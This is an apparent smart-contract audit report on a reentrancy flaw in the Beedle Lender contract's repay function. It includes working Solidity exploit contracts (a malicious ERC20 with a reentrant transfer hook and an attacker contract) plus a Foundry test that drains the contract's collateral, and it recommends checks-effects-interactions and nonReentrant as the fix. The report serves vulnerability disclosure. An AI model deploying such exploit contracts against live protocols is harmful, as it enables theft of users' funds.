Summary
An attacker can craft a token allowing reentrant calls on transfer to drain any token from the Lender
contract.
Vulnerability Details
The Lender
contract allows any token as loanToken
and the repay
function transfers the tokens before deleting the loan which result in a re-entrancy vulnerability. A malicious actor can craft a token allowing reentrant calls on transfer to exploit the re-entrancy vulnerability in the repay
function and get more than one time his collateral back.
File: Lender.Sol
L316:
IERC20(loan.loanToken).transferFrom(
msg.sender,
address(this),
loan.debt + lenderInterest
);
IERC20(loan.loanToken).transferFrom(
msg.sender,
feeReceiver,
protocolInterest
);
IERC20(loan.collateralToken).transfer(
loan.borrower,
loan.collateral
);
emit Repaid(
msg.sender,
loan.lender,
loanId,
loan.debt,
loan.collateral,
loan.interestRate,
loan.startTimestamp
);
delete loans[loanId];
}
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L317
Impact
All tokens can be drained from the contract. This is a critical vulnerability.
POC
An attacker can use the following exploit contracts to drain the lender
contract:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract ExploitToken is ERC20 {
address owner;
constructor(uint256 amount) ERC20("ExploitToken", "ET") {
owner = msg.sender;
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
(bool status,) = owner.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
require(status, "call failed");
}
}
File: Exploit7.sol
pragma solidity ^0.8.19;
import {ExploitToken} from "./ExploitToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit7 {
Lender lender;
address collateralToken;
ExploitToken exploitToken;
bool loanBorrowed;
uint256 i;
constructor(Lender _lender, address _collateralToken) {
lender = _lender;
collateralToken = _collateralToken;
}
function attack(address _collateralToken) external {
ERC20(_collateralToken).approve(address(lender), type(uint256).max);
exploitToken = new ExploitToken(1_000_000_000*10*18);
ERC20(exploitToken).approve(address(lender), type(uint256).max);
Pool memory pool = Pool({
lender: address(this),
loanToken: address(exploitToken),
collateralToken: _collateralToken,
minLoanSize: 1,
poolBalance: 1_000_000*10*18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(pool);
Borrow memory b = Borrow({
poolId: poolId,
debt: 1,
collateral: 1_000*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
b = Borrow({
poolId: poolId,
debt: 1_000,
collateral: 1
});
borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
loanBorrowed = true;
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.repay(loanIds);
ERC20(_collateralToken).transfer(msg.sender, ERC20(_collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address to, uint256 ) external {
if (msg.sender == address(exploitToken)) {
if (from == address(this) && to == address(lender) && loanBorrowed) {
if (i < 10) {
i = i + 1;
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.repay(loanIds);
}
}
}
}
}
Here are the tests that can be added to Lender.t.sol
to illustrate the steps of an attacker:
function test_exploit7() public {
address attacker = address(0x5);
collateralToken.transfer(address(lender), 10_000*10**18);
collateralToken.transfer(address(attacker), 1_000*10**18 + 1);
assertEq(collateralToken.balanceOf(address(lender)), 10_000*10**18);
assertEq(collateralToken.balanceOf(address(attacker)), 1_000*10**18 + 1);
vm.startPrank(attacker);
Exploit7 attackContract = new Exploit7(lender, address(collateralToken));
collateralToken.transfer(address(attackContract), 1_000*10**18 + 1);
attackContract.attack(address(collateralToken));
assertEq(collateralToken.balanceOf(address(lender)), 1);
assertEq(collateralToken.balanceOf(address(attacker)), 11_000*10**18);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by deleting the loan loans[loanId]
before transfering the funds AND use nonReentrant modifiers